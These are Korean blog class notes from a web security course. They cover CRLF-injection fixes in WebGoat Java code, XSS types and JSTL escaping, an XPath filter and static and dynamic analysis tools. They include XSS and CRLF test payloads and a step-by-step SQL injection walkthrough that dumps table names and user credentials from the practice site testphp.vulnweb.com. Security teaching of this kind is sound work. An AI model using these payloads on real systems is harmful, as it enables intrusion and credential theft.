        HttpServletResponse response = s.getResponse();
        String cookie = s.getCookie(UNIQUE2U);
 
        // 쿠키에 들어오는 취약점을 제거하기 위해 \r과 \n 을 없애 준다.
        cookie = cookie.replaceAll("\r""").replaceAll("\n","");
        
        if (cookie == null || cookie.equals("HACKED"))
        {
            response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly");
            original = value;
        }
        else
        {
            response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly");
            original = cookie;
        }
    }
cs


저렇게 8번 라인의 내용을 추가 해 주면 되겠다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void removeHttpOnly(WebSession s)
    {
        String value = createCustomCookieValue();
        HttpServletResponse response = s.getResponse();
        String cookie = s.getCookie(UNIQUE2U);
 
        // 쿠키 취약점 수정
        cookie = cookie.replaceAll("\r""").replaceAll("\n","");
 
        if (cookie == null || cookie.equals("HACKED"))
        {
            response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";");
            original = value;
        }
        else
        {
            response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";");
            original = cookie;
        }
    }
cs



이곳도 마찬가지.


근데 저거 수정해도


파인드버그에선 계속 나타나니까


수정하고 나면 파인드버그에서 수정한걸로 필터를 걸어주면 되겠다.


단 해당 취약점에 필터를 걸면 다른소스에 걸린 것들도 다 필터가 되니까


동일 취약점에 대해선 전부 수정을 해 준 후에 파인드버그에서 필터를 걸어주도록 하자.






2. XSS(Cross Site Script)


제일 많이 아는 취약점이고 가장 많이 나오는 취약점임


<script>alert("xss test"); </script>


이걸로 테스트 많이 함



저 스크립팅이 먹히면 온갖 스크립트로 할 수 있는 공격이 가능 하다.




1) 개념


DOM(local) XSS  - 사용자측 스크립트

Reflected XSS  - 서버측 스크립트

Stored Xss - 서버측 스크립트




Reflected


사용자 입력 값이 웹 화면에 바로 출력 되는 것


Stored


사용자 입력값이 DB에 저장되고 다시 출력되는 것


DOM


위험한 입력처리 오브젝트 

아래의 dom 오브젝트들을 외부에서 검증되지 않는 값을 사용 할 수 있기 때문에 취약한

입력 값 이라고 정의 할 수 있다


document.URL

document.URLUnenCoded

document.location

document.referrer



위험한 출력처리 오브젝트


document.write 등등





해결방법


1
2
3
4
5
<p> jsp basic : <%=input %></p>
 
<p>EL : ${param.input }</p>
 
<p>JSTL : <c:out value="${param.input }"></c:out></p>
cs



stored 류의 XSS는 출력값을 JSTL을 이용해


c:out 를 이용해 출력하게 하도록 한다.


그럼 해결됨 JSTL 짱짱맨


위의 코드를 각각 테스트 해보면 됨.


jsp와 el은 스크립트 실행이 되는데 jstl은 실행 안됨





jsp와 el은 스크립트 실행이 되어 팝업이 뜨는데


JSTL에서는 팝업이 뜨지 않고 텍스트로 출력이 되는 것을 확인 할 수 있다.






https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XSS_Locator



여기 가면 온갖 방법들이 있으니 필터 한두개 걸었다고 안심하지 말자


1
\";alert('XSS');//
cs


이런 꺽쇠를 사용하지 않은 공격 방법도 있다




XSS는 정적 분석에선 잡아내기 힘들고 동적 분석에서 발견 하는 것이 좋은 것 같다.











[웹보안] 웹보안 2일차 - 오후


이 포스팅에서 나오는거 실습은


경찰서나 회사 법무팀에서 연락받기 싫으면


해킹테스트 하라고 오픈한 사이트나


본인 사이트에서만 하도록 하자





http://findbugs.cs.umd.edu.eclipse


이클립스 추가 설치 플러그인


findbug - http://findbugs.cs.umd.edu/eclipse


findsecurity 




findbug 이클립스에 설치 하고 써먹어 보도록 하자


설치방법이나 사용법은 대충 구글해서 검색해 보고


사용 한다.




정적분석(static)

findbugs security (사용자 정의 룰 X) 

PMD (사용자 정의 룰 xpath query)


동적분석(dynamic)

scanray(paraos)

arachni




static + dynamic => hybrid




xpath


https://www.w3schools.com/xml/xpath_examples.asp


https://www.w3schools.com/xml/tryit.asp?filename=try_xpath_select_cdnodes_first



xml 정보를 가져 올 수도 있다.





juliet (test cases)

=> sink(input form, file ..)


cwe juliet <- 구글에서 검색하면 나옴


https://samate.nist.gov/SRD/testsuite.php




필터링엔


white list

black list가 있다


근데 둘다 짱 귀찮음


화이트 리스트는 허용된 리스트 항목만 전송 시키고


블랙리스트는 작성해놓은 리스트와 일치 하는건 전송 안시키는 것


둘다 개귀찮은데 하긴 해야함


1
2
3
4
5
6
7
8
9
10
package org.owasp.webgoat.lessons;
 
public class XpathFilter {
 private String filter(String data) {
    // TODO Auto-generated method stub
     data = data.replaceAll("\"""");
     data = data.replaceAll("'""");
     return data;
}
}
cs





요런식으로 만들어주자


그리고


1
2
String expression = "/employees/employee[loginID/text()='" + XpathFilter.Xpath(username) + "' and passwd/text()='" + XpathFilter.Xpath(password)
                    + "']";
cs


이렇게 값을 받아 쓰는 곳에 필터를 걸어 주도록 하자.


그럼 역슬래쉬와 싱글쿼테이션은 삭제가 된 문자열을 사용 하도록 하게 된다.



저렇게 바꾸면 실질적으론 차단이 되지만 findbug툴에선 여전히 xpath 취약점으로 나타나게 되는데


이때는 툴에서 예외처리를 해주면 된다.



취약점이 나타난 목록에 오른쪽 클릭 -> 토글 필터 - > this로 시작하는거 클릭 


이렇게 하면 해당 리스트는 빠지게 된다.



툴이 아무리 대단해도 사람이 임의로 만든 클래스가 필터링 하는 클래스인지까진 인지하지 못하기 때문에


취약리스트에 그대로 나타나게 되는 것 이다.



툴ㅇ 다 만능이 아님





http(response) splitting

CRLF Injection

http 응답분할

=> CRLF(\r\n)

위의 세가지는 동일한 취약점임


CRLF = Carriage Return , Line Feed


키보드의 엔터키와 동일한 기능을 한다. 그러나 URL 특정 파라미터에 해당 코드를 삽입하는 경우

임의의 헤더 정보를 생성 할 수 있는 취약점이 발생된다.


대충 헤더가 생겨먹은건


get /test.php HTTP/1.1

Accept : image/gif , 


뭐 대충 이렇게 생겨먹은애들인데


URL에 엔터키 기능 하는 걸 넣어서 다른 헤더정보를 삽입이 가능 하게 만드는 것.



url=%0D%0A%20New_Header:New_Header_Value%0D%0A


이런식으로 공격 문자를 넣는다


제대로된 공격 문자는 검색해서 알아서 찾아 보도록 하자



\r 이거랑 \n 이거 필터링 걸면 됨


근데 사례가 겁내 많음 알아서 막자


세상은 넓고 해커는 많다







CSP - Content Security Policy


검색해서 적용시켜 보자



XSS (Cross Site Scripting)


크로스 사이트 스크립팅


텍스트에 스크립트를 넣어서 관리자 정보를 취득한다거나


다른 페이지로 이동시킨다던가 뭐 스크립트로 해먹을 수 있는건 다 할 수 있다


이건 유명하니까 좀만 검색해도 다 나옴


XSS가 먹히는지 확인하는 간단한 방법임

<script> alert("test"); </script>







burp suite(=scan-ray) 


버프수트 프록시툴임 사람들이 많이 씀 관련한 글들도 검색하면 잘 나옴



client side : server side


# how to use proxy tool

1. proxy 설정(웹 브라우저 $ burp)


[[ web.brw => burp <요기서 가로챔>    ]]<======> www

     로컬 브라우저                                                  웹





2. 대상 페이지 호출 및 변조

3. 재전송







[웹보안] 웹보안 2일차 - 오전


웹보안 2일차 오전 수업 내용 입니다.


아래 내용에 대한 실습은 


http://demo.testfire.net/ 여기나

http://testphp.vulnweb.com/ 여기나


웹고트 등으로 허용된 곳에서 사용하세요


사용사이트에서 쓰다가 해당 회사 보안팀이나 관리자한테 연락 옵니다 ㅋㅋㅋ


참고 사이트


http://www.moi.go.kr/


행정 자치부


정책자료 -> 간행물 ->  시큐어코딩 검색


http://www.moi.go.kr/frt/bbs/type001/commonSelectBoardArticle.do?bbsId=BBSMSTR_000000000012&nttId=42152


C/JAVA 시큐어 코딩 가이드 게시글이 있다


참고문헌

CWE

https://cwe.mitre.org/



https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project


웹보안과 관련된 레퍼런스 가이드들이 많이 나와있다

근데 다 영어임





어차피 크롬이 번역해주거나 개발자라면 알아먹을 수 있는 말들 뿐이니까 걱정은 하지 말고


저길 본인이 들어가서 확인 할 만큼 의지가 있는지가 더 중요함.


나는 여기 적어 놓고 안들어 갈 것 같음.





SQL Injection


1. 에러기반

1' or 1=1


http://testphp.vulnweb.com/listproducts.php?cat=1


일부러 에러 내서 에러메세지 나타나는지 확인

http://testphp.vulnweb.com/listproducts.php?cat=1'




2. Union 기반

1 union Select * ~


ex)  http://www.site.com/news.php?id=5 union all select 1, table_name, 3 from information_schema.tables





DBMS에 대한 정보가 없으니 일단 필드 개수나 정보부터 캐와 보도록 해보자

http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null#


메세지가


Error: The used SELECT statements have a different number of columns Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74


이렇게 나옴


http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null# 


http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null# 

http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null, null# 

http://testphp.vulnweb.com/listproducts.php?cat=1 union all select null, null, null, null, null, null, null, null, null, null, null


null 11개 입력하니까 얼렸다


그럼 컬럼이 11개라는 얘기


http://testphp.vulnweb.com/listproducts.php?cat=1 union all  select 1,2,3,4,5,6,7,8,9,10,11# 


맨 마지막 으로 스크롤 내려보면 뭔 숫자들이 나왔다


2,7,9 라는 숫자가 있는데 여기에 공격문자를 넣어서 정보 취득이 가능 하다는 뜻




http://testphp.vulnweb.com/listproducts.php?cat=1 union all  select 1,user(),3,4,5,6,7,8,9,10,11# 



아까 숫자 2가 출력된 자리에


계정정보 acuart@localhost 나타났다




http://testphp.vulnweb.com/listproducts.php?cat=1 union all  select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()# 




2가 들어갔던 자리에


artists,carts,categ,featured,guestbook,pictures,products,users  라는 정보가 나타났다


아마 저게 테이블 이름 인 것 같다


users 라는 중요한 정보가 있을것만 같은 테이블을 공략해 보자


http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name='users'# 



uname,pass,cc,address,email,name,phone,cart 라는 컬럼 정보가 표시된다


http://testphp.vulnweb.com/listproducts.php?cat=1 union select 1,uname,3,4,5,6,address,8,pass,10,11 from users# 


2번과 9번이 들어갔던 자리에 사용자의 ID와 PW가 나타난다


이 정보로 signup으로 들어가 로그인을 하면 접속이 되는 것을 확인 할 수 있다.









3. Blind기반

1, 1 and 1=0


악의적인 문자열 삽입 대신 쿼리 결과에 따라 정보를 취득 하는 기법이다.

덮어놓고 노가다 한다


http://testphp.vulnweb.com/listproducts.php?cat=1 


1개 문자열 추출

select * from test where id = 1 and (식) 116(t)

select * from test where id = 1 and (식) 101(e)



문자열의 범위를 확인


select * from test where id = 1 and (식) > 47

select * from test where id = 1 and (식) < 58



크고 작음의 true false 확인을 통해 범위를 좁혀 나간다.


SELECT ASCII(SUBSTRING(name,1,1)) FROM pins WHERE cc_number = 4321432143214321 > 90

이런식






1. 동적

- scanray, sqlmap


2. 정적

- findbugs, security, PMD


select ..

from ..

where name = $name (sql 인젝션 취약)


..


where name = #name (sql 인젝션 안취약)




이제 webgoat를 해보자


저번주에도 했지만 또 한다.








+ Recent posts